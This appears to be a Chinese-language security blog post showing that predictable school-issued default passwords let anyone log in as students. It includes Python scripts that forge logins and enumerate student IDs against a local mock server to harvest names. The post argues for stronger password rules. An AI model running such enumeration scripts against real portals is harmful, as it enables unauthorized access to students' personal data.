前言
这个安全问题是我在学校学习网络安全时发现的,但是严格意义上讲它并不是一个系统上的漏洞
更多的是规则上的漏洞,它的危害主要在于泄露信息
出于对信息的保护,在这次文章中,所有的实验皆来自于本地环境,但还是希望能够引起足够的重视
1 问题来源
很多学校会进行一些线上问卷或学习活动,但是由于不对外开放,学生的账号密码皆由校方生成。方便起见,学校给学生设置的密码会存在一定的规律性,甚至设置同样的密码(6个6,12345屡见不鲜)。这是一个极大的隐患,稍微懂得一点网络技术便可以盗取其中的信息。
2 模拟环境
2.1 环境介绍
如下图,这是我自行搭建的一个模拟登录环境
假设我们身处一个高校,要做一个问卷,以下是校方给我们的账号密码设定规则
- 学生的学号即是账号
- 学生账号的密码构成规则为 "benke@" + 学号后六位
以张叁为例,张叁的学号为202401010101,那么张叁的密码就是benke@010101
2.2 登录测试
当我们输入账号密码,会得到以下三种结果
1. 找不到用户
2. 密码错误
3. 登录成功,获取信息
3 攻击机会
3.1 分析传输数据
既然是来自网页端的数据交换,我们必然要分析前后端进行的对话。
打开浏览器工具栏,点击登录
我们发现当我们点击登陆时,可以看到我们由前端向后端发送了一个login请求
查看其详细内容,请求头、请求体和响应体分别如下
请求头
请求体
响应体
分析请求头和请求体是为了攻击时伪造请求。比如,通过分析以上内容,我们可以得到以下关键信息。
1. 登录请求的网址是 http://127.0.0.1:8080/api/login (测试时的本地环境)
2. 请求方法为POST
3. 请求体包含两个字段 username 和 password ,很明显username就是学号,password就是加密的密码。
4. 响应体包含三个字段 code , msg 和 data , 登录失败时 _code_的值不为0
注意: 对于这里的密码,32位随机数字字母组合,我们便可以猜测这里只是进行了简单的md5码加密(事实也正是如此),这是稍微有点保护的情况,有些密码甚至是明文传输。
3.2 伪造请求测试
有了这些信息,我们就可以尝试伪造请求了。这里我们使用python来伪造请求。
代码如下
python
import requests
import hashlib
url = "http://127.0.0.1:8080/api/login"
req_json = {
"username": "202401010101",
"password": hashlib.md5(bytes("benke@010101", encoding="utf-8")).hexdigest()
} # 构造请求体
resp = requests.post(url, json=req_json) # 发送POST请求
print(resp.json())
输出如下
cmd
{'code': 0, 'msg': 'success', 'data': {'username': '202401010101', 'name': '张叁'}}
说明我们构造的请求是能够成功获取信息的,现在我们要解决的就是如何获取全部的学生信息了
4 规则,就是漏洞!
因为我们获取信息是基于学号的,所以如果我们不知道学号,那么就意味着我们不能成功获取信息。
当然,我们至少已经知道了学号有12位,所以如果我们构造全部可能的12位的学号,依然可以获取全部信息。
大概也就是构造....999999999999个账号,就可以了。emmmm....可以,但是有点费时。
学号都有其构造规则,比如,在这里,前四位数字代表入学时间,接着两位是学院代码,接着两位是专业,然后是班级和自己在班级的序号。
有了这些信息,我们就可以精准的构造学号。
这里我们且假设只检索2024年01学院01专业01班的学生。
代码如下
python
"""
@Filename scrape.py
@Author Parzival
@Encoding utf-8
@CreateTime 2024-11-8
@Description 爬取信息测试
"""
import requests
import hashlib
url = "http://127.0.0.1:8080/api/login"
years = ["2024"]
colleges = ["01"]
majors = ["01"]
classes = ["01"]
numbers = ["%02d" % i for i in range(1, 11)]
usernames = []
# 构造学生账号
for y in years:
for co in colleges:
for m in majors:
for c in classes:
for n in numbers:
usernames.append(y + co + m + c + n)
def getInfo(username: str):
print("username: %s" % username, end="\t")
req_json = {
"username": username,
"password": hashlib.md5(
bytes("benke@" + username[-6:], encoding="utf-8")
).hexdigest(),
}
resp = requests.post(url, json=req_json)
print(resp.json())
for i in usernames:
getInfo(i)
输出如下
python
username: 202401010101 {'code': 0, 'msg': 'success', 'data': {'username': '202401010101', 'name': '张叁'}}
username: 202401010102 {'code': 0, 'msg': 'success', 'data': {'username': '202401010102', 'name': '李四'}}
username: 202401010103 {'code': 0, 'msg': 'success', 'data': {'username': '202401010103', 'name': '王五'}}
username: 202401010104 {'code': 0, 'msg': 'success', 'data': {'username': '202401010104', 'name': '赵六'}}
username: 202401010105 {'code': 0, 'msg': 'success', 'data': {'username': '202401010105', 'name': '小辣椒'}}
username: 202401010106 {'code': 0, 'msg': 'success', 'data': {'username': '202401010106', 'name': '小王八'}}
username: 202401010107 {'code': 0, 'msg': 'success', 'data': {'username': '202401010107', 'name': '小鱼儿'}}
username: 202401010108 {'code': -1, 'msg': '找不到用户'}
username: 202401010109 {'code': 0, 'msg': 'success', 'data': {'username': '202401010109', 'name': '饭团子'}}
username: 202401010110 {'code': -1, 'msg': '找不到用户'}
这样,便能轻易获取学生信息
5. 总结
实战环境中的系统可能请求更复杂一些,但是像这种安全隐患大同小异。并且往往实战中暴露的信息会多,更私密。
这个问题很小,轻易就能避免。但是又很大,因为它太容易暴露一个人的信息了,且十分普遍。
管理方应当加强对个人信息的保护,实际密码构造的规则更复杂一些会更加有效(比如有些高校选择使用身份证号码的后六位,而不是学号)。
个人也应当及时的修改默认密码,毕竟信息是自己的,应当更加重视才对。